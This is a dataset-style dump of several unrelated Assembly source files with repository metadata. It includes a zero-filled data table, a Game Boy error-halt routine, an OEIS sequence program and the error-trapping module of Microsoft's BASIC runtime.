DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0 | 37.815385 | 72 | 0.321298 |
30e8930b850d1ec2e4f4b0f21692ea0c33e0bf6a | 871 | asm | Assembly | src/fatal_error.asm | Gegel85/SpaceShooterGB | 7f1ff08708fd3ad91c911c7c91f8d07e1c7b2366 | [
"MIT"
] | 3 | 2020-02-24T14:31:36.000Z | 2020-03-28T22:38:57.000Z | src/fatal_error.asm | Gegel85/SpaceShooterGB | 7f1ff08708fd3ad91c911c7c91f8d07e1c7b2366 | [
"MIT"
] | 4 | 2020-02-24T16:35:26.000Z | 2020-02-26T16:47:11.000Z | src/fatal_error.asm | Gegel85/SpaceShooterGB | 7f1ff08708fd3ad91c911c7c91f8d07e1c7b2366 | [
"MIT"
] | 1 | 2020-02-24T14:31:39.000Z | 2020-02-24T14:31:39.000Z | fatalErrorText::
db "FATAL ERROR PC 38H"
fatalErrorTextEnd::
pcAt38::
ld hl, fatalErrorText
ld bc, fatalErrorTextEnd - fatalErrorText
jp dispError
; Displays an error message and lock CPU
; Params:
; hl -> Text to display
; bc -> Length of the text
; Return:
; None
; Registers:
; N/A
dispError::
; Display given text
call displayText
; Play a sound and lock CPU
jp fatalError
; Plays sound and locks CPU
; Params:
; None
; Return:
; None
; Registers:
; N/A
fatalError::
reg DISABLE_CHANNELS_REGISTERS, $80
reset CHANNEL2_VOLUME
reset CHANNEL3_ON_OFF
reset CHANNEL4_VOLUME
ld c, $03
ld d, $00
.loop:
reg CHANNEL1_LENGTH, %10000000
reg CHANNEL1_VOLUME, %11110001
reg CHANNEL1_LOW_FREQ, $FF
reg CHANNEL1_HIGH_FREQ,%10000001
ld b, $FF
.loopWait:
dec d
jr nz, .loopWait
dec b
jr nz, .loopWait
dec c
jr nz, .loop
jp lockup | 17.078431 | 42 | 0.707233 |
915709f53ed8b86324f97af0baa7da734621c75d | 419 | asm | Assembly | programs/oeis/120/A120152.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/120/A120152.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/120/A120152.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A120152: a(1)=6; a(n)=floor((19+sum(a(1) to a(n-1)))/3).
; 6,8,11,14,19,25,34,45,60,80,107,142,190,253,337,450,600,800,1066,1422,1896,2528,3370,4494,5992,7989,10652,14203,18937,25249,33666,44888,59850,79800,106400,141867,189156,252208,336277,448370
add $0,1
mov $2,1
lpb $0,1
sub $0,1
add $2,$3
mov $3,6
add $3,$2
add $2,3
div $3,3
add $3,1
lpe
mov $1,$3
mul $3,3
add $1,$3
sub $1,12
div $1,4
add $1,6
| 19.952381 | 191 | 0.630072 |
bc2ddafe9315049f5eb18ebc7cd173e4d075d24c | 12,785 | asm | Assembly | 45/runtime/rt/erhandlr.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/runtime/rt/erhandlr.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/runtime/rt/erhandlr.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | TITLE ERHANDLR - Error trapping for 8086 Basic Compiler
page ,132
;***
; ERHANDLR - Error trapping for 8086 Basic Compiler
;
; Copyright <C> 1987, Microsoft Corporation
;
;Purpose:
; This module contains the run-time support for on-error handling.
;
;******************************************************************************
INCLUDE switch.inc ;Rutime switch file
INCLUDE rmacros.inc ;General runtime macros
useSeg _BSS
useSeg _DATA
useSeg ER_TEXT
useSeg NH_TEXT
INCLUDE seg.inc ;Segment definitions
INCLUDE addr.inc ;Frame and module specific data definitions
INCLUDE baslibma.inc ; need the SKIP macro
INCLUDE idmac.inc
INCLUDE messages.inc ;error message label definitions
INCLUDE stack.inc
sBegin _BSS
externW b$errnum ; Error number encountered
externB b$inonerr ; flag indicating we're in an on error
externW b$curlevel ; current program level
externW b$curframe ; current BASIC frame parameter
externD b$errmod ; error module name address
externW b$cCSubs
externW b$cNonQBIFrames
sEnd _BSS
sBegin NH_TEXT
externNP B$STDALCALLTMP
sEnd NH_TEXT
externFP B$CONERR
externFP B$ClearRange
sBegin ER_TEXT
externNP B$GETMODCODE ;Get module specific code data.
externNP B$IONERR ; interpreter-specific on error handler
externNP B$IErrSaveState
externNP B$IErrRestState
externNP B$ERR_RE
assumes CS,ER_TEXT
;******************************************************************************
;
; Runtime Error Handling
;
; ON ERROR processing
;
; When an error occurs, the common runtime error handler will first call
; B$ONERR to allow us to attempt to process any ON ERROR statement that
; may apply. To get the runtime context, we rely on the
; fact that the passed frame pointer points to stack entries as follows:
;
; +--> +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
; User | |
; Program \ Defined by Compiler/Interpreter & Runtime \
; Frame | | <-+
; +--> +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |
; | | |
; \ User program local storage \ |
; \ Gosubs on stack on common runtime entry \ |
; | | |
; +--> +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |
; | | | |
; | \ Parameters to Common Runtime Entry \ |
; Common | | |
; Runtime +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |
; Entry | CS | |
; Frame + Far return address into BASIC program code + |
; | | IP | |
; | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |
; | | BP value on entry to Common Runtime | --+ <- pframe
; +--> +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
;
; From this frame we get the the user program frame (defined elsewhere), from
; which we can find the data structure containing the ON ERROR address for the
; user program if it exists. If this does exist we can perform the ON ERROR.
;
; To process the ON ERROR, we first use the frame to determine the line number
; at which the error occured. The stack is then reset to an appropriate level,
; and we perform the GOSUB.
;
; See erproc.asm for more information on error handling.
;
;******************************************************************************
SUBTTL B$ONERR -- Find ON ERROR handler if possible
PAGE
;
;***
;B$ONERR - Find most recent BASIC error handler if any
; Call via [b$pONERR] for /O granularity.
;
;Purpose:
; This routine will search through BASIC stack frames starting with
; the one in which the error occurred until it finds one with an
; error handler or until there are no more BASIC stack frames left
; to check. It will also stop if it encounters a BASIC event handler
; at the previous level. If it finds an error handler, it will adjust
; the environment to look as if the error occurred at the current
; statement of that module. Otherwise, nothing is changed.
;
;Entry:
; [b$curframe] valid.
; [BX] = frame parameter preceding [b$curframe] in BP chain.
; IF EI_QB THEN [b$cCSubs], [b$cNonQBIFrames] valid.
; [b$errnum] <> 98xxh.
;
;Exit:
; No error handler found.
;
;Uses:
; Per convention.
;
;Preserves:
; None.
;
;Exceptions:
; None.
;
;******************************************************************************
cProc B$ONERR,<PUBLIC,NEAR>
cBegin
DbAssertRelB <BYTE PTR [b$errnum+1]>,NE,<98h>,ER_TEXT,<Bad errnum in B$ONERR>
DbAssertRel <[BX]>,E,<[b$curframe]>,ER_TEXT,<Bad frame parameter in B$ONERR>
PUSH [b$curframe]
PUSH [b$curlevel]
PUSH [b$cCSubs] ; save original [b$cCSubs]
PUSH [b$cNonQBIFrames] ; save original [b$cNonQBIFrames]
cCall B$IErrSaveState ; allow interpreter to save state
;
; This is the main loop that walks the BASIC frame chain and calls either
; B$IONERR or B$NCONERR as appropriate.
;
ONERR_10:
CMP [b$curframe],0
DJMP JZ ONERR_EXIT ; reached the end of BASIC chain
;
; Skip over non-BASIC frames in the BP-chain to find the frame immediately
; preceding the BASIC frame in the BP chain.
;
ONERR_20:
MOV DX,BX ;DX = old value of BX
MOV BX,[BX] ;use bp chain
DbAssertTsT BX,Z,1,ER_TEXT,<Odd BP value found in B$ONERR>
DbAssertRel BX,NZ,0,ER_TEXT,<Bad BP chain in B$ONERR>
CMP BX,[b$curframe]
JNE ONERR_20
; [DX] = frame preceding [BX]
PUSH DX ; parameter to B$xONERR
CMP [b$cCSubs],0 ; check for interpreting module
JNZ ONERR_30
cCall B$IONERR ;returns AX = 0 => quit
JMP SHORT ONERR_40
ONERR_30:
cCall B$NCONERR ; returns AX = 0 => quit
ONERR_40:
OR AX,AX ;AX <> 0 => no error handler
JZ ONERR_EXIT ;quit - restore org. env. & return
DbAssertRelB <[b$inonerr]>,Z,0,ER_TEXT,<b$inonerr was TRUE in B$ONERR loop>
DEC [b$curlevel]
JS ONERR_EXIT ; kind of redundent check
; addjust [b$cCSubs] to reflect current frame
;
CMP [b$cCSubs],0 ; are we already interpreting?
JZ ONERR_60 ; brif interpreting
DEC [b$cCSubs] ; adjust [b$cCSubs]
JNZ ONERR_60 ; need to adjust b$cNonQBIFrames?
DEC [b$cNonQBIFrames] ; yes -- decrement
ONERR_60:
;
; Walk the BASIC frame chain to check for an error handler in the next
; previous BASIC module.
;
MOV BX,[b$curframe]
MOV AX,[BX].FR_BFRAME ;[AX] = NEXT BASIC FRAME
MOV [b$curframe],AX ;update b$curframe
DJMP JMP SHORT ONERR_10
; error handler not found
ONERR_EXIT: ; restore original error state
cCall B$IErrRestState ; allow interpreter to restore state
POP [b$cNonQBIFrames] ; restore original [b$cNonQBIFrames]
POP [b$cCSubs]
POP [b$curlevel]
POP [b$curframe]
cEnd
SUBTTL B$CONERR - Compiler ON ERROR Processing - Enhanced version
PAGE
;***
; B$CONERR - Handle ON ERROR Processing -new version
; B$NCONERR - New error handling COMPILER ON ERROR processing
; void B$CONERR(U2 pframe)
;
;Purpose:
; If enabled, performs ON ERROR transfer of control within the user program.
; This is the NEW version of B$CONERR. Changes and enhancements should only be
; made to this version. The old version in erbcproc.asm should not be changed.
; It is necessary for backward compatibility with QB4 QLB's.
;
; We check the module data area for the address of an ON ERROR routine. If
; one is available, we:
; - Save the error address (offset & segment)
; - Get and save the statement number
; - If the error was "Out Of Memory" reset the gosub count to zero
; - Deallocate local storage and temp. string descriptors as necessary
; - Reset the stack (SP & BP) to execution levels:
; BP = [b$curframe].
; SP = [b$curframe] - <local storage> - (<GOSUB level> X 2).
; - Perform the GO TO
;
;Entry:
; pframe = Pointer to a frame one level below b$curframe
; [b$curframe] = basic-level frame.
; [b$errnum] = error number
;
;Exit:
; [b$errmod] = far address of module name
; IF AX = 0 THEN
; no error trapping is possible
; ELSE
; no error handler found
; ENDIF
; IF an error handler is found THEN
; [b$erradr] = far address of error in the compiled code
; [b$errlin] = line number of error
; ENDIF
;
; Doesn't return if an active BASIC error handler is available.
;
;******************************************************************************
cProc B$NCONERR,<PUBLIC,NEAR> ; new name for B$CONERR
parmW pframe ; frame pointer one level below error time
cBegin
XOR AX,AX ; Get first byte
cCall B$GETMODCODE ; AL = first byte, [BX] = code segment
MOV AX,CX ; CX = module header offset (0 for DOS3)
ADD AX,OF_MOD
MOV WORD PTR [b$errmod],AX ; Far pointer to module name
MOV WORD PTR [b$errmod + 2],BX
CMP [b$inonerr],FALSE ; Are we in on-error handler?
DJMP JNZ BCONERR_90 ; Jump if we are, error-within-error occurred
MOV AX,b$errnum ; get error number
OR AH,AH ; See if valid trappable error
JNZ BCONERR_90 ; Jump if [b$errnum] > 255, internal error
XCHG DX,BX ; DX = user code segment
PUSH CX ; save module header offset
POP BX ; restore module header offset
PUSH DS ; save DGROUP
MOV DS,DX ; [DS] = user code seg
MOV BX,DS:[BX].OF_DAT ; [BX] = mod specif data offset
POP DS ; [DS] = DGROUP restored
MOV CX,[BX].OFD_ONERROR ; [CX] = on error address
MOV BX,pframe ; [BX] = pointer to rt entry frame
DbAssertRel DX,E,<[BX].FR_RETSEG>,ER_TEXT,<Bad user code seg in B$NCONERR>
PUSH BX ; push frame parameter for old B$CONERR
JCXZ BCONERR_80 ; Jump if no address specified - quit
;
; The error can be trapped. Set the "in on error handler" flag, and call the
; appropriate on error handler.
;
MOV AX,[BX] ; AX = [b$curframe]
MOV BX,AX ; BX = AX = [b$curframe]
SUB AX,[BX].FR_CLOCALS ; [AX] = [b$curframe] - locals/temps
SUB AX,[BX].FR_GOSUB ; [AX] = [b$curframe] - locals - gosubs/2
SUB AX,[BX].FR_GOSUB ; [AX] = [b$curframe] - locals - gosubs
SUB AX,FR_SIZE+2 ; can combine 3 instructions for QB case
PUSH BP ; old_BP = FROM parameter to B$ClearRange
PUSH AX ; new_SP-2 = TO parameter to B$ClearRange
CALL B$ClearRange ; deallocate local variables on STACK
MOV AX,[b$curlevel] ; deallocate temp strings > [b$curlevel]
CALL B$STDALCALLTMP ; dealloc temp strings no longer needed
BCONERR_80: ; no error handler - check for event handler
cCALL B$CONERR ; frame parameter pushed way above
MOV [b$inonerr],FALSE ; necessary after call to old B$CONERR
; check if the curent frame is for an event handler
MOV BX,[b$curframe]
CALL B$CEvtHndlr ; returns AX = 0 if an event handler frame
SKIP 2 ; JMP SHORT BCONERR_100
BCONERR_90:
XOR AX,AX ; return AX = 0 means process fatal error
BCONERR_100:
cEnd
SUBTTL RESUME helpers
PAGE
;***
; B$RESUMED - Set up for RESUME of some sort
; Interpreter Entry
; Moved here from erproc.asm
;
;Purpose:
; If RESUME [linenumber|linelabel], reset program level to 0 and deallocate
; all temporary strings.
; Ensure that error is in progress, and then clean flags
;
;Entry:
; [AX] = RESUME type, 0 = RESUME [linenumber|linelabel]
; non-0 = other RESUME
; (parameter on stack for OE_WIN)
;
;Exit:
; if ready to resume. Flags cleared
;
;Exceptions:
; Aborts if no error in progress
;
;******************************************************************************
cProc B$RESUMED,<PUBLIC,FAR,FORCEFRAME> ; moved here from erproc.asm
cBegin
OR AX,AX ;resume to level 0?
JNZ NotLev0 ;go if not
MOV b$curlevel,AX ;set current level to main level (0)
CALL B$STDALCALLTMP ;dealloc all temp strings
NotLev0:
cCall B$RES_SETUP ; Perform Function
cEnd
;***
; B$RES_SETUP - Set up for RESUME of some sort
; Moved here from erproc.asm
;
;Purpose:
; Ensure that error is in progress, and then clean flags
;
;Entry:
; none
;
;Exit:
; if ready to resume. Flags cleared
;
;Exceptions:
; Aborts if no error in progress
;
;******************************************************************************
cProc B$RES_SETUP,<NEAR,PUBLIC> ; moved here from erproc.asm
cBegin
XOR CX,CX
MOV [b$errnum],CX ; if error below, this gets reset anyway
XCHG CL,[b$inonerr]
JCXZ RES_SETUP_OOPS ; brif wern't in error handler
cEnd
RES_SETUP_OOPS:
POP AX ; Discard local return
JMP B$ERR_RE
;***
;B$CEvtHndlr - Checks if a frame is an event handler
;
;Purpose:
; Determine whether the frame is for an active compiled event handler.
; Moved this code back with [6].
;
; NOTE: this code is duplicated in ERROR.ASM.
;
;Entry:
; BX = pointer to the COMPILED BASIC frame to check (ie. [b$curframe]).
;
;Exit:
; AX = 0 IFF an event handler is detected.
;
;Uses:
; AX, BX.
;
;Exceptions:
; None.
;
;******************************************************************************
cProc B$CEvtHndlr,<NEAR>
cBegin
;
; This is the compiler-specific logic to check for a BASIC event handler:
;
MOV AX,[BX].FR_GOSUB ; AX = count of GOSUBS
DbAssertRel AX,GE,0,ER_TEXT,<More than 32767 GOSUBs in B$CEvtHndlr> ;
DEC AX ; if AX = 0, return AX <> 0
JS No_handler ; no gosubs => no event handler
SUB BX,[BX].FR_CLOCALS ; BX = BX - number of local bytes
MOV AX,[BX-FR_SIZE-2] ; AX = 0 IFF event handler
No_Handler:
cEnd ; return
sEnd ER_TEXT
END
| 30.807229 | 79 | 0.654048 |
4f44b957526de8a7c7b70318bb90838ffa3966d6 | 7,627 | asm | Assembly | Transynther/x86/_processed/NC/_ht_zr_/i3-7100_9_0xca_notsx.log_21829_1128.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
